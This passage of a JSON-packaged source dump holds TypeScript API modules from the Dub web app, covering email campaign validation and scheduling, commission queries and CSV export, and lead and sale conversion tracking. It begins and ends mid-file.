    "content": "import { prisma } from \"@dub/prisma\";\nimport { DubApiError } from \"../errors\";\n\nexport const getCampaignOrThrow = async ({\n  campaignId,\n  programId,\n  includeWorkflow = false,\n  includeGroups = false,\n}: {\n  campaignId: string;\n  programId: string;\n  includeWorkflow?: boolean;\n  includeGroups?: boolean;\n}) => {\n  const campaign = await prisma.campaign.findUnique({\n    where: {\n      id: campaignId,\n    },\n    include: {\n      workflow: includeWorkflow,\n      groups: includeGroups,\n    },\n  });\n\n  if (!campaign) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Campaign not found.\",\n    });\n  }\n\n  if (campaign.programId !== programId) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: \"You are not authorized to access this campaign.\",\n    });\n  }\n\n  return campaign;\n};\n"
  },
  {
    "path": "apps/web/lib/api/campaigns/get-campaign-summary.ts",
    "content": "import { CampaignSummary } from \"@/lib/types\";\nimport { campaignSummarySchema } from \"@/lib/zod/schemas/campaigns\";\nimport { prisma } from \"@dub/prisma\";\n\nexport const getCampaignSummary = async (campaignId: string) => {\n  const [queryResult] = await prisma.$queryRaw<CampaignSummary[]>`\n    SELECT\n      COUNT(*) AS sent,\n      SUM(CASE WHEN deliveredAt IS NOT NULL THEN 1 ELSE 0 END) AS delivered,\n      SUM(CASE WHEN openedAt IS NOT NULL THEN 1 ELSE 0 END) AS opened,\n      SUM(CASE WHEN bouncedAt IS NOT NULL THEN 1 ELSE 0 END) AS bounced\n    FROM NotificationEmail\n    WHERE campaignId = ${campaignId}\n  `;\n\n  return campaignSummarySchema.parse({\n    sent: queryResult.sent,\n    delivered: queryResult.delivered,\n    opened: queryResult.opened,\n    bounced: queryResult.bounced,\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/api/campaigns/schedule-campaigns.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { WORKFLOW_SCHEDULES } from \"@/lib/zod/schemas/workflows\";\nimport { prisma } from \"@dub/prisma\";\nimport { Campaign, Workflow } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { isScheduledWorkflow } from \"../workflows/utils\";\n\n// Schedule a marketing campaign\nexport const scheduleMarketingCampaign = async ({\n  campaign,\n  updatedCampaign,\n}: {\n  campaign: Campaign;\n  updatedCampaign: Campaign;\n}) => {\n  if (updatedCampaign.status === \"draft\") {\n    return;\n  }\n\n  const scheduleChanged =\n    campaign.scheduledAt?.getTime() !== updatedCampaign.scheduledAt?.getTime();\n\n  const statusChanged =\n    (campaign.status === \"draft\" && updatedCampaign.status === \"scheduled\") ||\n    (campaign.status === \"scheduled\" && updatedCampaign.status === \"canceled\");\n\n  if (!statusChanged && !scheduleChanged) {\n    return;\n  }\n\n  let qstashMessageId = updatedCampaign.qstashMessageId;\n\n  // Delete the existing message\n  if (campaign.qstashMessageId) {\n    try {\n      await qstash.messages.delete(campaign.qstashMessageId);\n      qstashMessageId = null;\n    } catch (error) {\n      console.warn(\n        `Failed to delete QStash message ${campaign.qstashMessageId}:`,\n        error,\n      );\n    }\n  }\n\n  // Queue a new message\n  if (updatedCampaign.status === \"scheduled\") {\n    const notBefore = updatedCampaign.scheduledAt\n      ? Math.floor(updatedCampaign.scheduledAt.getTime() / 1000)\n      : null;\n\n    try {\n      const response = await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/campaigns/broadcast`,\n        method: \"POST\",\n        ...(notBefore && { notBefore }),\n        body: {\n          campaignId: campaign.id,\n        },\n      });\n\n      qstashMessageId = response.messageId;\n    } catch (error) {\n      console.warn(\n        `Failed to queue QStash message for campaign ${campaign.id}:`,\n        error,\n      );\n    }\n  }\n\n  await prisma.campaign.update({\n    where: {\n      id: campaign.id,\n    },\n    data: {\n      qstashMessageId,\n    },\n  });\n};\n\n// Schedule a transactional campaign\nexport const scheduleTransactionalCampaign = async ({\n  campaign,\n  updatedCampaign,\n}: {\n  campaign: Campaign;\n  updatedCampaign: Campaign & {\n    workflow: Workflow | null;\n  };\n}) => {\n  if (!updatedCampaign.workflow) {\n    return;\n  }\n\n  if (!isScheduledWorkflow(updatedCampaign.workflow)) {\n    return;\n  }\n\n  const shouldSchedule =\n    (campaign.status === \"draft\" || campaign.status === \"paused\") &&\n    updatedCampaign.status === \"active\";\n\n  const cronSchedule = WORKFLOW_SCHEDULES[updatedCampaign.workflow.trigger];\n\n  if (!cronSchedule) {\n    throw new Error(\n      `Cron schedule not found for trigger ${updatedCampaign.workflow.trigger}`,\n    );\n  }\n\n  if (shouldSchedule) {\n    return await qstash.schedules.create({\n      destination: `${APP_DOMAIN_WITH_NGROK}/api/cron/workflows/${updatedCampaign.workflow.id}`,\n      cron: cronSchedule,\n      scheduleId: updatedCampaign.workflow.id,\n    });\n  }\n\n  const shouldDeleteSchedule =\n    campaign.status === \"active\" && updatedCampaign.status === \"paused\";\n\n  if (shouldDeleteSchedule) {\n    return await qstash.schedules.delete(updatedCampaign.workflow.id);\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/api/campaigns/validate-campaign.ts",
    "content": "import { updateCampaignSchema } from \"@/lib/zod/schemas/campaigns\";\nimport { prisma } from \"@dub/prisma\";\nimport { Campaign, EmailDomain } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { DubApiError } from \"../errors\";\nimport {\n  CAMPAIGN_EDITABLE_STATUSES,\n  CAMPAIGN_STATUS_TRANSITIONS,\n} from \"./constants\";\n\ninterface ValidateCampaignParams {\n  input: Partial<z.infer<typeof updateCampaignSchema>>;\n  campaign: Campaign;\n}\n\nexport async function validateCampaign({\n  input,\n  campaign,\n}: ValidateCampaignParams) {\n  if (input.status) {\n    const validNextStatuses =\n      CAMPAIGN_STATUS_TRANSITIONS[campaign.type][campaign.status];\n\n    const canTransition = validNextStatuses?.includes(input.status);\n\n    if (!canTransition) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `A ${campaign.status} campaign can't be moved to ${input.status}.`,\n      });\n    }\n  }\n\n  if (\n    input.name ||\n    input.subject ||\n    input.preview ||\n    input.bodyJson ||\n    input.groupIds ||\n    input.triggerCondition ||\n    input.from ||\n    input.scheduledAt\n  ) {\n    if (!CAMPAIGN_EDITABLE_STATUSES.includes(campaign.status)) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `You can't make changes to a \"${campaign.status}\" campaign.`,\n      });\n    }\n  }\n\n  if (campaign.type === \"marketing\") {\n    delete input.triggerCondition;\n  }\n\n  if (campaign.type === \"transactional\") {\n    delete input.scheduledAt;\n  }\n\n  // Validate that the from address uses a verified email domain\n  if (input.from) {\n    const emailDomains = await prisma.emailDomain.findMany({\n      where: {\n        programId: campaign.programId,\n      },\n    });\n\n    validateCampaignFromAddress({\n      campaign: {\n        ...campaign,\n        from: input.from,\n      },\n      emailDomains,\n    });\n  }\n\n  return input;\n}\n\nexport function validateCampaignFromAddress({\n  campaign,\n  emailDomains,\n}: {\n  campaign: Pick<Campaign, \"id\" | \"from\" | \"programId\">;\n  emailDomains: Pick<EmailDomain, \"slug\" | \"status\">[];\n}) {\n  if (emailDomains.length === 0) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: `No email domains found for program (${campaign.programId}).`,\n    });\n  }\n\n  if (!campaign.from) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: `Campaign (${campaign.id}) from address is required.`,\n    });\n  }\n\n  const parts = campaign.from.split(\"@\");\n\n  if (parts.length !== 2) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: `Campaign (${campaign.id}) has an invalid email address format for 'from' field.`,\n    });\n  }\n\n  const domainPart = parts[1];\n\n  const emailDomain = emailDomains.find(\n    (emailDomain) => emailDomain.slug === domainPart,\n  );\n\n  if (!emailDomain) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: `Email domain (${domainPart}) not found in the program (${campaign.programId}) for campaign (${campaign.id}).`,\n    });\n  }\n\n  if (emailDomain.status !== \"verified\") {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: `Email domain (${domainPart}) is not verified in the program (${campaign.programId}) for campaign (${campaign.id}).`,\n    });\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/api/commissions/format-commissions-for-export.ts",
    "content": "import { COMMISSION_EXPORT_COLUMNS } from \"@/lib/zod/schemas/commissions\";\nimport * as z from \"zod/v4\";\nimport { getCommissions } from \"./get-commissions\";\n\nconst COLUMN_LOOKUP: Map<\n  string,\n  { label: string; type: string; order: number }\n> = new Map(\n  COMMISSION_EXPORT_COLUMNS.map((column, index) => [\n    column.id,\n    {\n      label: column.label,\n      type: column.type,\n      order: index + 1,\n    },\n  ]),\n);\n\n// Define the Zod schemas for each column type\nconst COLUMN_TYPE_SCHEMAS = {\n  number: z.coerce\n    .number()\n    .nullable()\n    .default(0)\n    .transform((value) => value || 0),\n  date: z.date().transform((date) => date?.toISOString() || \"\"),\n  string: z\n    .string()\n    .nullable()\n    .default(\"\")\n    .transform((value) => value || \"\"),\n};\n\n// Formats commissions for CSV export with proper column ordering and type coercion\nexport function formatCommissionsForExport(\n  commissions: Awaited<ReturnType<typeof getCommissions>>,\n  columns: string[],\n): Record<string, any>[] {\n  const formattedCommissions = commissions.map((commission) => ({\n    ...commission,\n    customerName: commission.customer?.name || \"\",\n    customerEmail: commission.customer?.email || \"\",\n    customerExternalId: commission.customer?.externalId || \"\",\n    partnerName: commission.partner?.name || \"\",\n    partnerEmail: commission.partner?.email || \"\",\n    partnerTenantId: commission.programEnrollment?.tenantId || \"\",\n  }));\n\n  // Sort columns by their order\n  const sortedColumns = columns.sort(\n    (a, b) =>\n      (COLUMN_LOOKUP.get(a)?.order || 999) -\n      (COLUMN_LOOKUP.get(b)?.order || 999),\n  );\n\n  // Build column schemas\n  const columnSchemas: Record<string, z.ZodTypeAny> = {};\n\n  for (const column of sortedColumns) {\n    const columnInfo = COLUMN_LOOKUP.get(column);\n\n    if (!columnInfo) {\n      continue;\n    }\n\n    columnSchemas[column] = COLUMN_TYPE_SCHEMAS[columnInfo.type];\n  }\n\n  return z.array(z.object(columnSchemas)).parse(formattedCommissions);\n}\n"
  },
  {
    "path": "apps/web/lib/api/commissions/get-commissions-count.ts",
    "content": "import { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { getCommissionsCountQuerySchema } from \"@/lib/zod/schemas/commissions\";\nimport { prisma } from \"@dub/prisma\";\nimport { CommissionStatus, FraudEventStatus } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\n\ntype CommissionsCountFilters = z.infer<\n  typeof getCommissionsCountQuerySchema\n> & {\n  programId: string;\n  isHoldStatus?: boolean;\n};\n\nexport async function getCommissionsCount(filters: CommissionsCountFilters) {\n  const {\n    status,\n    type,\n    partnerId,\n    payoutId,\n    customerId,\n    groupId,\n    start,\n    end,\n    interval,\n    timezone,\n    programId,\n    isHoldStatus,\n  } = filters;\n\n  const { startDate, endDate } = getStartEndDates({\n    interval,\n    start,\n    end,\n    timezone,\n  });\n\n  const statusFilter = isHoldStatus\n    ? { in: [CommissionStatus.pending, CommissionStatus.processed] }\n    : status ?? {\n        notIn: [\n          CommissionStatus.duplicate,\n          CommissionStatus.fraud,\n          CommissionStatus.canceled,\n        ],\n      };\n\n  const programEnrollmentFilter = {\n    ...(groupId && { groupId }),\n    ...(isHoldStatus && {\n      fraudEventGroups: {\n        some: {\n          status: FraudEventStatus.pending,\n        },\n      },\n    }),\n  };\n\n  const commissionsCount = await prisma.commission.groupBy({\n    by: [\"status\"],\n    where: {\n      earnings: {\n        not: 0,\n      },\n      programId,\n      partnerId,\n      status: statusFilter,\n      type,\n      payoutId,\n      customerId,\n      createdAt: {\n        gte: startDate,\n        lte: endDate,\n      },\n      ...(Object.keys(programEnrollmentFilter).length > 0 && {\n        programEnrollment: programEnrollmentFilter,\n      }),\n    },\n    _count: true,\n    _sum: {\n      amount: true,\n      earnings: true,\n    },\n  });\n\n  const counts = commissionsCount.reduce(\n    (acc, p) => {\n      acc[p.status] = {\n        count: p._count,\n        amount: p._sum.amount ?? 0,\n        earnings: p._sum.earnings ?? 0,\n      };\n      return acc;\n    },\n    {} as Record<\n      CommissionStatus | \"all\" | \"hold\",\n      {\n        count: number;\n        amount: number;\n        earnings: number;\n      }\n    >,\n  );\n\n  // fill in missing statuses with 0\n  Object.values(CommissionStatus).forEach((status) => {\n    if (!(status in counts)) {\n      counts[status] = {\n        count: 0,\n        amount: 0,\n        earnings: 0,\n      };\n    }\n  });\n\n  counts.all = commissionsCount.reduce(\n    (acc, p) => ({\n      count: acc.count + p._count,\n      amount: acc.amount + (p._sum.amount ?? 0),\n      earnings: acc.earnings + (p._sum.earnings ?? 0),\n    }),\n    { count: 0, amount: 0, earnings: 0 },\n  );\n\n  return counts;\n}\n"
  },
  {
    "path": "apps/web/lib/api/commissions/get-commissions.ts",
    "content": "import { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { getCommissionsQuerySchema } from \"@/lib/zod/schemas/commissions\";\nimport { prisma } from \"@dub/prisma\";\nimport { CommissionStatus, FraudEventStatus } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { DubApiError } from \"../errors\";\nimport { buildPaginationQuery } from \"../pagination\";\n\ntype CommissionsFilters = z.infer<typeof getCommissionsQuerySchema> & {\n  programId: string;\n  isHoldStatus?: boolean;\n};\n\nexport async function getCommissions(filters: CommissionsFilters) {\n  const {\n    invoiceId,\n    programId,\n    partnerId,\n    status,\n    type,\n    customerId,\n    payoutId,\n    groupId,\n    start,\n    end,\n    interval,\n    timezone,\n    isHoldStatus,\n    startingAfter,\n    endingBefore,\n  } = filters;\n\n  const paginationQuery = buildPaginationQuery(filters);\n\n  // Validate the provided cursor ID\n  const cursorId = startingAfter || endingBefore;\n\n  if (cursorId) {\n    const commission = await prisma.commission.findUnique({\n      where: {\n        id: cursorId,\n      },\n      select: {\n        id: true,\n        programId: true,\n      },\n    });\n\n    if (!commission || commission.programId !== programId) {\n      throw new DubApiError({\n        code: \"unprocessable_entity\",\n        message: \"Invalid cursor: the provided ID does not exist.\",\n      });\n    }\n  }\n\n  const { startDate, endDate } = getStartEndDates({\n    interval,\n    start,\n    end,\n    timezone,\n  });\n\n  const statusFilter = isHoldStatus\n    ? { in: [CommissionStatus.pending, CommissionStatus.processed] }\n    : status ?? {\n        notIn: [\n          CommissionStatus.duplicate,\n          CommissionStatus.fraud,\n          CommissionStatus.canceled,\n        ],\n      };\n\n  const programEnrollmentFilter = {\n    ...(groupId && { groupId }),\n    ...(isHoldStatus && {\n      fraudEventGroups: {\n        some: {\n          status: FraudEventStatus.pending,\n        },\n      },\n    }),\n  };\n\n  return await prisma.commission.findMany({\n    where: invoiceId\n      ? {\n          invoiceId,\n          programId,\n        }\n      : {\n          earnings: {\n            not: 0,\n          },\n          programId,\n          partnerId,\n          status: statusFilter,\n          type,\n          customerId,\n          payoutId,\n          createdAt: {\n            gte: startDate,\n            lte: endDate,\n          },\n          ...(Object.keys(programEnrollmentFilter).length > 0 && {\n            programEnrollment: programEnrollmentFilter,\n          }),\n        },\n    include: {\n      customer: true,\n      partner: true,\n      programEnrollment: true,\n    },\n    ...paginationQuery,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/conversions/track-lead.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { detectAndRecordFraudEvent } from \"@/lib/api/fraud/detect-record-fraud-event\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { createPartnerCommission } from \"@/lib/partners/create-partner-commission\";\nimport { sendPartnerPostback } from \"@/lib/postback/api/send-partner-postback\";\nimport { isStored, storage } from \"@/lib/storage\";\nimport { getClickEvent, recordLead } from \"@/lib/tinybird\";\nimport { logConversionEvent } from \"@/lib/tinybird/log-conversion-events\";\nimport { CustomerSource, WorkspaceProps } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { transformLeadEventData } from \"@/lib/webhook/transform\";\nimport {\n  trackLeadRequestSchema,\n  trackLeadResponseSchema,\n} from \"@/lib/zod/schemas/leads\";\nimport { prisma } from \"@dub/prisma\";\nimport { Link } from \"@dub/prisma/client\";\nimport { nanoid, pick, R2_URL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { syncPartnerLinksStats } from \"../partners/sync-partner-links-stats\";\nimport { executeWorkflows } from \"../workflows/execute-workflows\";\n\ntype TrackLeadParams = z.input<typeof trackLeadRequestSchema> & {\n  rawBody: any;\n  workspace: Pick<WorkspaceProps, \"id\" | \"stripeConnectId\" | \"webhookEnabled\">;\n  source?: CustomerSource; // default is \"tracked\"\n};\n\nexport const trackLead = async ({\n  clickId,\n  eventName,\n  customerExternalId,\n  customerName,\n  customerEmail,\n  customerAvatar,\n  mode,\n  eventQuantity,\n  metadata,\n  rawBody,\n  workspace,\n  source = \"tracked\",\n}: TrackLeadParams) => {\n  // try to find the customer to use if it exists\n  let customer = await prisma.customer.findUnique({\n    where: {\n      projectId_externalId: {\n        projectId: workspace.id,\n        externalId: customerExternalId,\n      },\n    },\n  });\n  let link: Link | null = null;\n\n  // if clickId is an empty string, use the existing customer's clickId if it exists\n  // otherwise, throw an error (this is for mode=\"deferred\" lead tracking)\n  if (!clickId) {\n    if (!customer || !customer.clickId) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"The `clickId` property was not provided in the request, and no existing customer with the provided `customerExternalId` was found.\",\n      });\n    }\n\n    clickId = customer.clickId;\n  }\n\n  const stringifiedEventName = eventName.toLowerCase().replaceAll(\" \", \"-\");\n  const finalCustomerId = createId({ prefix: \"cus_\" });\n  const finalCustomerName =\n    customerName || customerEmail || generateRandomName();\n  const finalCustomerAvatar =\n    customerAvatar && !isStored(customerAvatar)\n      ? `${R2_URL}/customers/${finalCustomerId}/avatar_${nanoid(7)}`\n      : customerAvatar;\n\n  let isDuplicateEvent = false;\n\n  // if not deferred mode, we need to deduplicate lead events – only record 1 unique event for the same customer and event name\n  // TODO: Maybe we can replace this to rely only on MySQL directly since we're checking the customer above?\n  if (mode !== \"deferred\") {\n    const res = await redis.set(\n      `trackLead:${workspace.id}:${customerExternalId}:${stringifiedEventName}`,\n      {\n        timestamp: Date.now(),\n        clickId,\n        eventName,\n        customerExternalId,\n        customerName,\n        customerEmail,\n        customerAvatar,\n      },\n      {\n        ex: 60 * 60 * 24 * 7, // cache for 1 week\n        nx: true,\n      },\n    );\n    // if res = null it means the key was already set\n    isDuplicateEvent = res === null ? true : false;\n  }\n\n  // if it's not a duplicate event\n  // (e.g. mode === 'deferred' or it's regular mode but the first time processing this event)\n  // we can proceed with the lead tracking process\n  if (!isDuplicateEvent) {\n    // First, we need to find the click event\n    const clickData = await getClickEvent({ clickId });\n\n    // if there is no click data, throw an error\n    if (!clickData) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Click event not found for clickId: ${clickId}`,\n      });\n    }\n\n    // get the referral link from the from the clickData\n    link = await prisma.link.findUnique({\n      where: {\n        id: clickData.link_id,\n      },\n    });\n\n    if (!link) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Link not found for clickId: ${clickId}`,\n      });\n    }\n\n    if (link.projectId !== workspace.id) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Link ${link.id} for clickId ${clickId} does not belong to the workspace`,\n      });\n    }\n\n    if (link.disabledAt) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Link ${link.id} for clickId ${clickId} is disabled, lead not tracked`,\n      });\n    }\n\n    const leadEventId = nanoid(16);\n\n    // Create a function to prepare the lead event payload\n    const createLeadEventPayload = (customerId: string) => {\n      const basePayload = {\n        ...clickData,\n        workspace_id: clickData.workspace_id || workspace.id, // in case for some reason the click event doesn't have workspace_id\n        event_id: leadEventId,\n        event_name: eventName,\n        customer_id: customerId,\n        metadata: metadata ? JSON.stringify(metadata) : \"\",\n      };\n\n      return eventQuantity\n        ? Array(eventQuantity)\n            .fill(null)\n            .map(() => ({\n              ...basePayload,\n              event_id: nanoid(16),\n            }))\n        : basePayload;\n    };\n\n    // if the customer doesn't exist in our MySQL DB yet, upsert it\n    // (here we're doing upsert and not create in case of race conditions)\n    if (!customer) {\n      customer = await prisma.customer.upsert({\n        where: {\n          projectId_externalId: {\n            projectId: workspace.id,\n            externalId: customerExternalId,\n          },\n        },\n        create: {\n          id: finalCustomerId,\n          name: finalCustomerName,\n          email: customerEmail,\n          avatar: finalCustomerAvatar,\n          externalId: customerExternalId,\n          projectId: workspace.id,\n          projectConnectId: workspace.stripeConnectId,\n          clickId: clickData.click_id,\n          linkId: link.id,\n          programId: link.programId,\n          partnerId: link.partnerId,\n          country: clickData.country,\n          clickedAt: new Date(clickData.timestamp + \"Z\"),\n        },\n        update: {},\n      });\n    }\n\n    // if wait mode, record the lead event synchronously\n    if (mode === \"wait\") {\n      const leadEventPayload = createLeadEventPayload(customer.id);\n      const cacheLeadEventPayload = Array.isArray(leadEventPayload)\n        ? leadEventPayload[0]\n        : leadEventPayload;\n\n      await Promise.all([\n        // Cache the latest lead event for 5 minutes because the ingested event is not available immediately on Tinybird\n        // we're setting two keys because we want to support the use case where the customer has multiple lead events\n        redis.set(`leadCache:${customer.id}`, cacheLeadEventPayload, {\n          ex: 60 * 5,\n        }),\n\n        redis.set(\n          `leadCache:${customer.id}:${stringifiedEventName}`,\n          cacheLeadEventPayload,\n          {\n            ex: 60 * 5,\n          },\n        ),\n      ]);\n    }\n\n    waitUntil(\n      (async () => {\n        // for deferred mode, we defer the lead event creation to a subsequent request\n        if (mode !== \"deferred\") {\n          await recordLead(createLeadEventPayload(customer.id));\n        }\n\n        // track the conversion event in our logs\n        await logConversionEvent({\n          workspace_id: workspace.id,\n          link_id: link.id,\n          path: \"/track/lead\",\n          body: JSON.stringify(rawBody),\n        });\n\n        if (\n          customerAvatar &&\n          !isStored(customerAvatar) &&\n          finalCustomerAvatar\n        ) {\n          // persist customer avatar to R2\n          await storage\n            .upload({\n              key: finalCustomerAvatar.replace(`${R2_URL}/`, \"\"),\n              body: customerAvatar,\n              opts: {\n                width: 128,\n                height: 128,\n              },\n            })\n            .catch(async (error) => {\n              console.error(\"Error persisting customer avatar to R2\", error);\n              // if the avatar fails to upload to R2, set the avatar to null in the database\n              if (customer) {\n                await prisma.customer.update({\n                  where: { id: customer.id },\n                  data: { avatar: null },\n                });\n              }\n            });\n        }\n\n        // if not deferred mode, process the following right away:\n        // - update link, workspace, and customer stats\n        // - for partner links, create partner commission and execute workflows\n        // - send lead.created webhook\n\n        if (mode !== \"deferred\") {\n          const [updatedLink, _project] = await Promise.all([\n            // update link leads count\n            prisma.link.update({\n              where: {\n                id: link.id,\n              },\n              data: {\n                leads: {\n                  increment: eventQuantity ?? 1,\n                },\n                lastLeadAt: new Date(),\n              },\n              include: includeTags,\n            }),\n\n            // update workspace events usage\n            prisma.project.update({\n              where: {\n                id: workspace.id,\n              },\n              data: {\n                usage: {\n                  increment: eventQuantity ?? 1,\n                },\n              },\n            }),\n          ]);\n          link = updatedLink; // update the link variable to the latest version\n\n          let createdCommission:\n            | Awaited<ReturnType<typeof createPartnerCommission>>\n            | undefined = undefined;\n\n          if (link.programId && link.partnerId && customer) {\n            createdCommission = await createPartnerCommission({\n              event: \"lead\",\n              programId: link.programId,\n              partnerId: link.partnerId,\n              linkId: link.id,\n              eventId: leadEventId,\n              customerId: customer.id,\n              quantity: eventQuantity ?? 1,\n              context: {\n                customer: {\n                  country: customer.country,\n                  source,\n                },\n              },\n            });\n\n            const { commission, webhookPartner, programEnrollment } =\n              createdCommission;\n\n            await Promise.allSettled([\n              executeWorkflows({\n                trigger: \"partnerMetricsUpdated\",\n                reason: \"lead\",\n                identity: {\n                  workspaceId: workspace.id,\n                  programId: link.programId,\n                  partnerId: link.partnerId,\n                },\n                metrics: {\n                  current: {\n                    leads: 1,\n                  },\n                },\n              }),\n\n              syncPartnerLinksStats({\n                partnerId: link.partnerId,\n                programId: link.programId,\n                eventType: \"lead\",\n              }),\n\n              // only run fraud checks if the commission was created\n              commission &&\n                webhookPartner &&\n                detectAndRecordFraudEvent({\n                  program: { id: link.programId },\n                  partner: pick(webhookPartner, [\"id\", \"email\", \"name\"]),\n                  programEnrollment: pick(programEnrollment, [\"status\"]),\n                  customer: pick(customer, [\"id\", \"email\", \"name\"]),\n                  link: pick(link, [\"id\"]),\n                  click: pick(clickData, [\"url\", \"referer\"]),\n                  event: { id: leadEventId },\n                }),\n            ]);\n          }\n\n          await Promise.allSettled([\n            sendWorkspaceWebhook({\n              trigger: \"lead.created\",\n              data: transformLeadEventData({\n                ...clickData,\n                eventName,\n                link,\n                customer,\n                partner: createdCommission?.webhookPartner,\n                metadata,\n              }),\n              workspace,\n            }),\n\n            ...(link.partnerId\n              ? [\n                  sendPartnerPostback({\n                    partnerId: link.partnerId,\n                    event: \"lead.created\",\n                    data: {\n                      ...clickData,\n                      eventName,\n                      link,\n                      customer,\n                    },\n                  }),\n                ]\n              : []),\n          ]);\n        }\n      })(),\n    );\n  }\n\n  return trackLeadResponseSchema.parse({\n    click: {\n      id: clickId,\n    },\n    link,\n    customer: customer ?? {\n      name: finalCustomerName,\n      email: customerEmail || null,\n      avatar: finalCustomerAvatar || null,\n      externalId: customerExternalId,\n    },\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/api/conversions/track-sale.ts",
    "content": "import { convertCurrency } from \"@/lib/analytics/convert-currency\";\nimport { isFirstConversion } from \"@/lib/analytics/is-first-conversion\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { detectAndRecordFraudEvent } from \"@/lib/api/fraud/detect-record-fraud-event\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { createPartnerCommission } from \"@/lib/partners/create-partner-commission\";\nimport { sendPartnerPostback } from \"@/lib/postback/api/send-partner-postback\";\nimport { isStored, storage } from \"@/lib/storage\";\nimport {\n  getClickEvent,\n  getLeadEvent,\n  recordLead,\n  recordSale,\n} from \"@/lib/tinybird\";\nimport { logConversionEvent } from \"@/lib/tinybird/log-conversion-events\";\nimport {\n  ClickEventTB,\n  CustomerSource,\n  LeadEventTB,\n  WorkspaceProps,\n} from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport {\n  transformLeadEventData,\n  transformSaleEventData,\n} from \"@/lib/webhook/transform\";\nimport {\n  trackSaleRequestSchema,\n  trackSaleResponseSchema,\n} from \"@/lib/zod/schemas/sales\";\nimport { prisma } from \"@dub/prisma\";\nimport { Customer } from \"@dub/prisma/client\";\nimport { nanoid, pick, R2_URL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { createId } from \"../create-id\";\nimport { syncPartnerLinksStats } from \"../partners/sync-partner-links-stats\";\nimport { executeWorkflows } from \"../workflows/execute-workflows\";\n\ntype TrackSaleParams = z.input<typeof trackSaleRequestSchema> & {\n  rawBody: any;\n  workspace: Pick<WorkspaceProps, \"id\" | \"stripeConnectId\" | \"webhookEnabled\">;\n  source?: CustomerSource; // default is \"tracked\"\n};\n\nexport const trackSale = async ({\n  clickId,\n  customerExternalId,\n  customerName,\n  customerEmail,\n  customerAvatar,\n  amount,\n  currency = \"usd\",\n  eventName,\n  paymentProcessor,\n  invoiceId,\n  leadEventName,\n  metadata,\n  rawBody,\n  workspace,\n  source = \"tracked\",\n}: TrackSaleParams) => {\n  let existingCustomer: Customer | null = null;\n  let newCustomer: Customer | null = null;\n  let leadEventData: LeadEventTB | null = null;\n\n  // Return idempotent response if invoiceId is already processed\n  if (invoiceId) {\n    const cachedResponse = await redis.get(\n      `trackSale:${workspace.id}:invoiceId:${invoiceId}`,\n    );\n    if (cachedResponse) {\n      return cachedResponse;\n    }\n  }\n\n  // Find existing customer\n  existingCustomer = await prisma.customer.findUnique({\n    where: {\n      projectId_externalId: {\n        projectId: workspace.id,\n        externalId: customerExternalId,\n      },\n    },\n  });\n\n  // Existing customer is found, find the lead event to associate the sale with\n  if (existingCustomer) {\n    const leadEvent = await getLeadEvent({\n      customerId: existingCustomer.id,\n      eventName: leadEventName,\n    });\n\n    if (!leadEvent) {\n      const errorMessage = `Lead event not found for externalId: ${customerExternalId} and leadEventName: ${leadEventName}`;\n\n      waitUntil(\n        logConversionEvent({\n          workspace_id: workspace.id,\n          path: \"/track/sale\",\n          body: JSON.stringify(rawBody),\n          error: errorMessage,\n        }),\n      );\n\n      throw new DubApiError({\n        code: \"not_found\",\n        message: errorMessage,\n      });\n    }\n\n    leadEventData = {\n      ...leadEvent,\n      workspace_id: leadEvent.workspace_id || workspace.id, // in case for some reason the lead event doesn't have workspace_id\n    };\n  }\n\n  // If no existing customer is found and no clickId is provided, return an error\n  if (!existingCustomer && !clickId) {\n    waitUntil(\n      logConversionEvent({\n        workspace_id: workspace.id,\n        path: \"/track/sale\",\n        body: JSON.stringify(rawBody),\n        error: `No existing customer with the provided customerExternalId (${customerExternalId}) was found, and there was no clickId provided for direct sale tracking.`,\n      }),\n    );\n\n    return {\n      eventName,\n      customer: null,\n      sale: null,\n    };\n  }\n\n  let clickData: ClickEventTB | null = null;\n\n  // Find the click event for the given clickId\n  if (clickId) {\n    clickData = await getClickEvent({\n      clickId,\n    });\n\n    if (!clickData) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Click event not found for clickId: ${clickId}`,\n      });\n    }\n\n    // For the same customer, a sale 